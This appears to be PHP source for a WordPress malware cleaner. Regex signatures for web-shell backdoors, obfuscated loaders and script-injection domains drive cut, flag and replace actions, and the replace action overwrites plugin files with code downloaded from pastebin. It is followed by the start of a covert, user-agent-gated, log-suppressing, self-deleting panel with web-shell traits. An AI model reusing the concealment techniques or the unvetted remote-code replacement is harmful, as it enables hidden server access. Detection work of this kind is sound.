"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/<\?php @error_reporting\(0\);.*BcVSir;} \?>/ims',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/<\?php @error_reporting\(0\);.*BcVSir;} \?>/ims',
"action" => 'cut'
),
array(
"filename" => '/wp-config\.php$/mi',
"code" => '/include\("wp-content\/w\.php"\);/ims',
"action" => 'cut'
),
array(
"filename" => '/.*\.php$/mi',
"code" => '/@eval\(\$_POST\["wp_ajx_request"]\);/ims',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/<\?php \/\*[0-9]{5}\*\/.*\/\*[0-9]{5}\*\/\s*\?>/ims',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/eval\(gzinflate\(base64_decode\([^\(\)]*\)\)\);/ims',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/\$onetihev="create.*unset\(\$itolok\);/ms',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/<script\s*type=(\'|"|)text\/javascript(\'|"|)\s*(async|async\s*=\s*true)*\s*src=\'http[s]*:\/\/[^>]*(letsmakeparty3\.ga|lobbydesires\.com|trasnaltemyrecords\.com|blackentertainments\.com|dontstopthismusics\.com|littleandbiggreenballlon\.com|cdnwebsiteforyou\.biz|resolutiondestin\.com|developfirstline\.com|deliverygoodstrategy.com|developfirstline\.com|resolutiondestin\.com|chatwithgreenbar\.com|digestcolect\.com|stivenfernando\.com|verybeatifulantony\.com|trackstatisticsss\.com|digestcolect\.com|collectfasttracks\.com|verybeatifulantony\.com|destinyfernandi\.com)[^>]+\'><\/script>/m',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/<\?php\s*\/\*\s*[a-zA-Z0-9]{20}\s*\*\/\s*\?>.*<\?php\s*\/\*\s*[a-zA-Z0-9]{20}\s*\*\/\s*\?>/is',
"action" => 'cut'
),
array(
"filename" => '/.*\.(php|inc|js)$/mi',
"code" => '/Element\.prototype\.appendAfter = function\(element\) {element\.parentNode\.insertBefore\(this, element\.nextSibling\);}, false;\(function\(\) { var elem = document\.createElement\(String\.fromCharCode\(115,99,114,105,112,116\)\); elem\.type = String\.fromCharCode\(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116.*var list = document\.getElementsByTagName\(\'script\'\);list\.insertBefore\(s, list\.childNodes\[0\]\);\s*}/ms',
"action" => 'cut'
),
array(
"filename" => '/.*\.(php|inc)$/mi',
"code" => '/extract\(\$_REQUEST\);if\(md5\(\$b\)!=\'[0-9a-f]{32}\'\)\{die\(\);\}\$c\(\$f, \$a\);include_once \$f;/m',
"action" => 'cut'
),
array(
"filename" => '/.*\.(php|inc)$/mi',
"code" => '/<\?php.*\/\/scp-173.*\?>/msU',
"action" => 'cut'
),
array(
"filename" => '/.*\.(php|inc|txt)$/mi',
"code" => '/<\?php\s*if\s*\(isset\(\$_REQUEST\[\'action\'\]\)\s*&&\s*isset\(\$_REQUEST\[\'password\'\]\)\s*&&\s*\(\$_REQUEST\[\'password\'\].*\?>/msU',
"action" => 'cut'
),
array(
"filename" => '/.*\.(php|inc|txt)$/mi',
"code" => '/<\?php \$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]* = \'.*#[A-Z]#-#[A-Z]#-#[A-Z]#-#[A-Z]#-#[A-Z]#-.*-1; \?>/mU',
"action" => 'cut'
),
/* end cut section */
/* start clean section */
array(
"filename" => '/^init\.php$/',
"code" => '/InfiniteWP/iU',
"action" => 'clean'
),
array(
"filename" => '/^\.[^.]*\.(ico|png|jpg|gip)$/mi',
"code" => '/.*basename.*/iU',
"action" => 'clean'
),
/* end clean section */
/* start manual section */
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/\\x69\\x70\\x74\\x20\\x61\\x73\\x79\\x6E\\x63\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x3D\\x52\\x32\\x4E\\x34\\x54\\x55\\x77\\x7A\\x52\\x6C\\x6F\\x37\\x4C\\x54\\x63\\x31\\x4F\\x7A\\x45\\x3D\\x22\\x20\\x73\\x72\\x63\\x3D\\x22\\x68\\x74\\x74\\x70\\x73\\x3A\\x2F\\x2F\\x70\\x6C\\x61\\x79\\x2E\\x62\\x65\\x73\\x73\\x74\\x61/mi',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/\$O00OO0/mi',
"action" => 'manual'
),
array(
"filename" => '/^opn-post\.php$/',
"code" => '/.*/iU',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/spamhaus\.org/iU',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/mrilns\.com/iU',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/rootkitninja\.com/iU',
"action" => 'manual'
),
array(
"filename" => '/new_readme\.php$/mi',
"code" => '/callable/iU',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/B Ge Team File Manager/iU',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/.{1500}$/m',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/parors\.com/mi',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/\$wp_auth_key/mi',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/if\(md5\(\$_COOKIE\[\'password/mi',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/eval\(\$_POST\[/ims',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/\$_POST\[\$key\] \= stripslashes\(\$value\)/ims',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/eval\(\'\?\>\'/ims',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '~=(?:\'\);return\s*base64_decode\(\$a\[\$i\]\);\s*}\s*\?>Wordpress\s*<\?php\s*\$_0(?<X9ad023e6>)|=(?:==\+\+\+Coded\s+By\s+Izladen\+\+\+===(?<X24fa889e>)|\[BY\s+P!RA17DZ\]==(?<X21f210f8>)|\s*FALSE\)\s*{\s*break;\s*}\s*if\s*\(\$\w+\s*==\s*\d+ \|\|\s*\$\w+\s*===\s*\d+\s*\|\|\s*\$\w+\s*===\s*\d+\s*\)\s*{\s*\$\w+\[\$\w+\]\[(?<X28749162>))|>\s*[\'"]tools[\'"],\s*\/\*\s*available:(?:\s*(?:ls|search|upload|cmd|eval|sql|mailer|encoders|tools|processes|sysinfo),?\s*){9,11}\s*\*/(?<Xe414e656>)|@(?:\$_COOKIE;\s*\$(?<X195a722c>)|gzuncompress\s*\(\s*@base64_decode\s*\(\s*\$\w{1,40}\s*\)\s*\)\s*\)\s*\{\s*setcookie\s*\(\s*\'[^\']*\'\s*,\s*\$\w{1,40}\s*\)\s*;\s*setcookie\s*\(\s*\'[^\']*\'\s*,\s*\$\w{1,40}\s*\)\s*;\s*\$\w{1,40}=\s*create_function(?<X98ca4fb0>))|\s*(?:\$\w+\("",\s*\$\w+\(\$\w+\("\w+",\s*"",\s*\$\w+\.\$\w+\.\$\w+\.\$\w+\)\)\);\s*\$\w+\(\);\s*\?>(?<X7926e444>)|remove_tags\(\s*_dl\s*\(\s*\$_(?:GET|POST|COOKIE)\s*\[(?<X41c4209e>))|array\((?:[\'"]\^?(?:(?:\d{1,3}|\*)\.){3}(?:\d{1,3}|\*)[\'"],){9}[^\)]{999,9999}\);[^:<%&\^#]{9,4999}(?:exit\(|\{)header\([\'"](?:Location:\s*https?://|HTTP/[\d\.]{1,3}\s*404)(?<X5ef8aa8b>)|num_macros\(\s*\${\s*\${(?<X93ac7a6e>)|unserialize\(string_cpt\(base64_decode\(\$\w{1,40}\),\$\w{1,40}\)\);\$\w{1,40}=\$_REQUEST(?<X4f46ff6b>))~smiS',
"action" => 'manual'
),
array(
"filename" => '/^index2\.php$/',
"code" => '/.*/iU',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/\$[^\?\<\>\.\)\*\-\,\&\r\n\t\f\v=;:\|\}\+\/]+?\(\'\'/ims',
"action" => 'manual'
),
array(
"filename" => '/^wp-blog\.php$/',
"code" => '/.*/iU',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/\$user_agent_to_filter = array\(/ims',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/\$wp_kses_data/ims',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/InfiniteWP Admin panel/ims',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*\s*=\s*(\'|")\$(\'|")/m',
"action" => 'manual'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/merna\.cc/m',
"action" => 'manual'
),
array(
"filename" => '/.*\.(php|inc|txt)$/mi',
"code" => '/\$oOoo = \$wpdb/m',
"action" => 'manual'
),
array(
"filename" => '/.*\.(php|inc|txt)$/mi',
"code" => '/include\(\$_REQUEST/m',
"action" => 'manual'
),
array(
"filename" => '/.*\.(php|inc|txt)$/mi',
"code" => '/\$auth_pass\s*=\s*\"[a-fA-F0-9]{32}\";/m',
"action" => 'manual'
),
array(
"filename" => '/.*\.(php|inc|txt)$/mi',
"code" => '/<br\/>Security Code: <br\/><input name=\"security_code\" value=\"\"\/><br\/>/m',
"action" => 'manual'
),
array(
"filename" => '/.*\.(php|inc|txt)$/mi',
"code" => '/eval\(file_get_contents\(/m',
"action" => 'manual'
),
/* end manual section */
/* start replace section */
array(
"filename" => '/^dnd-upload-cf7\.php$/',
"code" => '/wpcf7_enqueue_scripts/iU',
"action" => 'replace',
"url" => 'https://plugins.svn.wordpress.org/drag-and-drop-multiple-file-upload-contact-form-7/tags/1.3.3.3.2/inc/dnd-upload-cf7.php'
),
array(
"filename" => '/^user-role\.php$/',
"code" => '/wppb_userdata_add_user_role/iU',
"action" => 'replace',
"url" => 'https://pastebin.com/raw/v2ibAzFH'
),
array(
"filename" => '/^ADNI_Uploader\.php$/',
"code" => '/ADNI_Uploader/iU',
"action" => 'replace',
"url" => 'https://pastebin.com/raw/2yhCwCfi'
),
/* end replace section */
array(
"filename" => '/shortcodes\.php$/mi',
"code" => '/return\s*\$wpcf7_shortcode_manager->add_shortcode\(\s*\$tag,\s*\$func,\s*\$has_name\s*\);/ims',
"action" => 'sreplace',
"newcode" => 'if (method_exists($wpcf7_shortcode_manager,\'add_shortcode\')){return $wpcf7_shortcode_manager->add_shortcode($tag, $func, $has_name );}',
),
);
$paranoid = array(
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/\$[^\?\<\>\.\)\*\-\,\&\r\n\t\f\v=;:\|\}\+\/]+?\([^\)]/ims',
"action" => 'manual'
),
);
echo date("H:i:s");
echo "<br>\n";
function strposa($haystack, $needle, $offset = 0)
{
if (!is_array($needle)) {
$needle = array($needle);
}
foreach ($needle as $query) {
if (strpos($haystack, $query, $offset) !== false) return true;
}
return false;
}
function DeadLetter()
{
die("<script>alert('End work');</script>");
}
if (!function_exists('stripos')) {
function stripos($haystack, $needle, $offset = 0)
{
return strpos(strtolower($haystack), strtolower($needle), $offset);
}
}
if (!function_exists('file_put_contents')) {
function file_put_contents($file_name, $data)
{
$f = fopen($file_name, "w");
fputs($f, $data);
fclose($f);
}
}
function Check($text)
{
$pos = stripos($text, 'zend');
$pos2 = stripos($text, 'ioncube');
if (($pos === false) && ($pos2 === false)) {
return true;
}
return false;
}
function Get_Task_Number()
{
$count_file = '_task_n';
if (file_exists($count_file)) {
$count = (int)file_get_contents($count_file);
$new_count = $count + 1;
file_put_contents($count_file, $new_count);
return $count;
} else {
file_put_contents($count_file, '1');
return 0;
}
}
function Get_Task()
{
$task_file = '_task';
clearstatcache();
if (file_exists($task_file)) {
$count = Get_Task_Number();
echo "Task num: $count <br>\n";
$counter = 0;
$handle = @fopen($task_file, "r");
if ($handle) {
while (($buffer = fgets($handle, 4096)) !== false) {
if ($counter == $count) {
return trim($buffer);
}
$counter++;
}
fclose($handle);
}
}
return false;
}
function Check_Bad_Dir($fname)
{
$part[] = 'cache';
$part[] = 'trash';
$part[] = 'snapshot';
$part[] = '/.git';
$part[] = 'lost+found';
$part[] = '/cgroups_';
$part[] = '/wflogs';
$part[] = '/awstats';
if (isset($_COOKIE['fast_worker'])) {
$part[] = 'wp-admin';
$part[] = 'wp-content';
$part[] = 'wp-includes';
$part[] = 'cgi-bin';
$part[] = 'mail';
}
$full[] = '/proc';
$full[] = '/usr/lib';
$full[] = '/tmp';
$full[] = '/etc';
$full[] = '/lib';
$full[] = '/lib64';
$full[] = '/bin';
$full[] = '/sbin';
$full[] = '/usr/etc';
$full[] = '/boot';
$full[] = '/dev';
$full[] = '/opt';
$full[] = '/selinux';
$full[] = '/bin';
$full[] = '/var/log';
$full[] = '/var/cache';
$full[] = '/usr/doc';
$full[] = '/usr/X11R6';
$full[] = '/usr/games';
$full[] = '/usr/src';
$full[] = '/usr/include';
$full[] = '/usr/kerberos';
$full[] = '/var/spool';
$full[] = '/var/run';
$full[] = '/var/lock';
$full[] = '/usr/man';
$full[] = '/var/db';
$full[] = '/var/local';
$full[] = '/var/mail';
$full[] = '/usr/share/doc';
$full[] = '/usr/share/man';
$full[] = '/usr/share/X11';
$full[] = '/usr/share/locale';
$full[] = '/usr/share/perl';
$full[] = '/usr/share/vim';
$full[] = '/usr/share/icons';
$full[] = '/sys';
$full[] = '/usr/local/lib64';
$full[] = '/usr/local/share/perl5';
$full[] = '/usr/share/texmf';
$full[] = '/usr/share/zoneinfo';
$full[] = '/usr/share/texmf';
$full[] = '/usr/share/themes';
$full[] = '/FAKEFS';
$full[] = '/usr/local/cpanel';
$full[] = '/usr/portage';
$full[] = '/mod_pagespeed/cache';
$full[] = '/usr/ports';
$full[] = '/usr/share/ri';
$full[] = '/home/mailquota';
$full[] = '/var/tmp';
$full[] = '/var/profiles';
$full[] = '/var/opt';
$full[] = '/var/yp';
$full[] = '/var/netenberg';
$full[] = '/var/empty';
$full[] = '/var/account';
$full[] = '/var/crash';
$full[] = '/var/cvs';
$full[] = '/var/asl';
$full[] = '/var/named';
$full[] = '/var/lib';
$full[] = '/var/games';
$full[] = '/var/hostgator';
$full[] = '/usr/sbin';
$full[] = '/usr/bin';
$full[] = '/usr/libexec';
$full[] = '/usr/php4';
$full[] = '/usr/share';
$full[] = '/usr/lib64';
$full[] = '/usr/local/lib';
if (strposa($fname, $part)) {
return true;
}
if (in_array($fname, $full)) {
return true;
}
return false;
}
function Add_Task($dir)
{
echo "Add $dir <br>\n";
$task_file = '_task';
$dir = trim($dir);
$dir = str_replace('//', '/', $dir);
if (strlen($dir) > 2) {
$ypos = strlen($dir) - 1;
if ($dir[$ypos] == '/') {
$dir = substr($dir, 0, $ypos);
}
}
if (!@is_readable($dir)) {
return true;
}
if (Check_Bad_Dir($dir)) {
return true;
}
clearstatcache();
if (file_exists($task_file)) {
$handle = @fopen($task_file, "r");
if ($handle) {
while (($buffer = fgets($handle, 4096)) !== false) {
$buffer = trim($buffer);
if ($dir == $buffer) {
return false;
}
}
fclose($handle);
}
}
$f = fopen($task_file, "a");
fputs($f, "$dir" . PHP_EOL);
fclose($f);
}
function log_wp($file)
{
$f = fopen('wp_log', "a");
fputs($f, "$file\n");
fclose($f);
}
function get_url($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$ult = curl_exec($ch);
if ($ult) {
return $ult;
} else {
$tmp = file_get_contents($url);
return $tmp;
}
}
function write_log($text)
{
$f = fopen('big_log', "a");
fputs($f, "$text\n");
fclose($f);
}
function manual_log($file, $code)
{
$code = trim($code);
$f = fopen('manual_log', "a");
fputs($f, "$file=====$code\n");
fclose($f);
}
function need_check($filename)
{
global $patterns;
foreach ($patterns as $t) {
if (preg_match($t['filename'], $filename)) {
return true;
}
}
return false;
}
function modify($file)
{
// global $exceptions;
global $patterns, $paranoid;
$filename = basename($file);
$para = false;
if (isset($_COOKIE['paranoid_worker'])) {
$para = true;
}
if (!need_check($filename)) {
return true;
} else {
$tmp = file_get_contents($file);
if ($para) {
$paranoid_tmp = preg_replace('~\/\*.*?\*\/~ism', '', $tmp);
$paranoid_tmp = preg_replace('~//[^\r\n]*~is', '', $paranoid_tmp);
}
}
foreach ($patterns as $t) {
if (preg_match($t['filename'], $filename)) {
if (preg_match($t['code'], $tmp)) {
switch ($t['action']) {
case "cut":
copy($file, $file . '.suspected');
$tmp = preg_replace($t['code'], '', $tmp);
if (file_put_contents($file, $tmp) === false) {
if (chmod($file, 0777)) {
if (file_put_contents($file, $tmp) === false) {
manual_log($file, 'write error after cut');
}
} else {
manual_log($file, 'write error after cut');
}
}
write_log("$file cut");
break;
case "delete":
copy($file, $file . '.suspected');
if (unlink($file) === false) {
$fd = dirname($file);
if (chmod($fd, 0777)) {
if (unlink($file) === false) {
manual_log($file, 'write error after delete');
}
} else {
manual_log($file, 'write error after delete');
}
}
write_log("$file delete");
continue;
break;
case "manual":
manual_log($file, $t['code']);
write_log("$file manual");
break;
case "replace":
copy($file, $file . '.suspected');
$tmp = get_url($t['url']);
if (file_put_contents($file, $tmp) === false) {
if (chmod($file, 0777)) {
if (file_put_contents($file, $tmp) === false) {
manual_log($file, 'write error after replace');
}
} else {
manual_log($file, 'write error after replace');
}
}
write_log("$file replace");
break;
case "clean":
copy($file, $file . '.suspected');
$tmp = '<?php ?>';
if (file_put_contents($file, $tmp) === false) {
if (chmod($file, 0777)) {
if (file_put_contents($file, $tmp) === false) {
manual_log($file, 'write error after clean');
}
} else {
manual_log($file, 'write error after clean');
}
}
write_log("$file clean");
break;
case "sreplace":
copy($file, $file . '.suspected');
$tmp = preg_replace($t['code'], $t['newcode'], $tmp);
if (file_put_contents($file, $tmp) === false) {
manual_log($file, 'write error after sreplace');
}
write_log("$file sreplace");
break;
}
}
}
}
if ($para) {
foreach ($paranoid as $t) {
if (preg_match($t['code'], $paranoid_tmp, $match)) {
manual_log($file, 'paranoid ' . implode($match));
write_log("$file manual");
}
}
}
}
function Scan_Dir($dir)
{
echo "Scan: $dir <br>\n";
$odir = @opendir($dir);
while (($file = @readdir($odir)) !== FALSE) {
if ($file == '.' || $file == '..') {
continue;
}
if (is_dir($dir . DIRECTORY_SEPARATOR . $file) && (!is_link($dir . DIRECTORY_SEPARATOR . $file)) && (@is_readable($dir . DIRECTORY_SEPARATOR . $file))) {
Add_Task($dir . DIRECTORY_SEPARATOR . $file);
}
if ($file == 'wp-config.php') {
log_wp($dir . DIRECTORY_SEPARATOR . $file);
}
if (($file !== '_worker.php') && ($file !== 'cpl.php') && ($file !== 'ii.php') && ($file !== 'config_wp.php')) {
if (!isset($_COOKIE['fast_worker'])) {
modify($dir . DIRECTORY_SEPARATOR . $file);
}
}
}
@closedir($odir);
}
$work_count = 0;
while ($work_count <= 25) {
$dir = Get_Task();
if ($dir === false) {
DeadLetter();
} else {
echo "Working dir: $dir <br>\n";
Scan_Dir($dir);
$work_count++;
}
}
echo "<script>window.location.href = '_worker.php?' + Math.random();</script>";
<?php
if('11c5b718af2cea1de5bfb3bd8c98db2e' !== md5($_SERVER['HTTP_USER_AGENT'])){die('0b08bd98d279b88859b628cd8c061ae0');}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
error_reporting(0);
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', FALSE);
header('Pragma: no-cache');
function get_perm($file){
$perms = fileperms($file);
switch ($perms & 0xF000) {
case 0xC000:
$info = 's';
break;
case 0xA000:
$info = 'l';
break;
case 0x8000:
$info = 'r';
break;
case 0x6000:
$info = 'b';
break;
case 0x4000:
$info = 'd';
break;
case 0x2000:
$info = 'c';
break;
case 0x1000:
$info = 'p';
break;
default:
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function wsoViewSize($s) {
if (is_int($s)) $s = sprintf("%u", $s);
if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). '&nbsp;<font color=red>Gb</font>&nbsp;';
elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . '&nbsp;<font color=green>Mb</font>&nbsp;';
elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . '&nbsp;<font color=blue>Kb</font>&nbsp;';
else return $s . '&nbsp;<font color=black size-1>B</font>&nbsp;';
}
if(get_magic_quotes_gpc()) {
function SStripslashes($array) {
return is_array($array) ? array_map('SStripslashes', $array) : stripslashes($array);
}
$_POST = SStripslashes($_POST);
$_COOKIE = SStripslashes($_COOKIE);
}
if(!function_exists('file_put_contents')) {
function file_put_contents($file_name, $data) {
$f = fopen($file_name,"w");
fputs($f,$data);
fclose($f);
}
}
if (function_exists('set_magic_quotes_runtime')) {
@set_magic_quotes_runtime(0);
}
function suicide(){
if(function_exists('update_option')){
setcookie(get_option('dolly_work'),'',time()-3600);
update_option('hello_dolly', '', true );
update_option('dolly_work', '', true );
} else {
@unlink(__FILE__);
}
@unlink('config_wp.php');
@unlink('ii.php');
@unlink('zpl.php');
@unlink('pl.php');
@unlink('2pl.php');
@unlink('cpl.php');
@unlink('upl.php');
@unlink('_task');
@unlink('_task_n');
@unlink('_taskc');
@unlink('_task_nc');
@unlink('_task_nn');
@unlink('_worker.php');
@unlink('_log');
@unlink('_cleaner.php');
@unlink('_error_log');
@unlink('big_log');
@unlink('wp_log');
@unlink('manual_log');
die('God job!');
}
function echo_header(){
echo "<!DOCTYPE html><html><meta charset=utf-8>\n";
echo "<style>
span {
background: url(data:image/gif;base64,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) no-repeat 0 0;
width: 48px;
height: 48px;
display: block;
float: left;
cursor:pointer;
}
span.m2 {background-position: -96px 0;}
span.m3 {background-position: -48px 0;}
span.m4 {background-position: -192px 0;}
span.m5 {background-position: -144px 0;}
span:hover {background-color: #eee;}
</style>\n";
}
function echo_scripts(){
echo "<script>var myVar;\n";
echo "function setCookie(c_name,value,exdays) { var exdate=new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value=escape(value) + ((exdays==null) ? \"\" : \"; expires=\"+exdate.toUTCString()); document.cookie=c_name + \"=\" + c_value; }\n";
echo "function getCookie(cname) {
var name = cname + '=';
var decodedCookie = decodeURIComponent(document.cookie);
var ca = decodedCookie.split(';');
for(var i = 0; i <ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return '';
}";
echo "function Filter(){
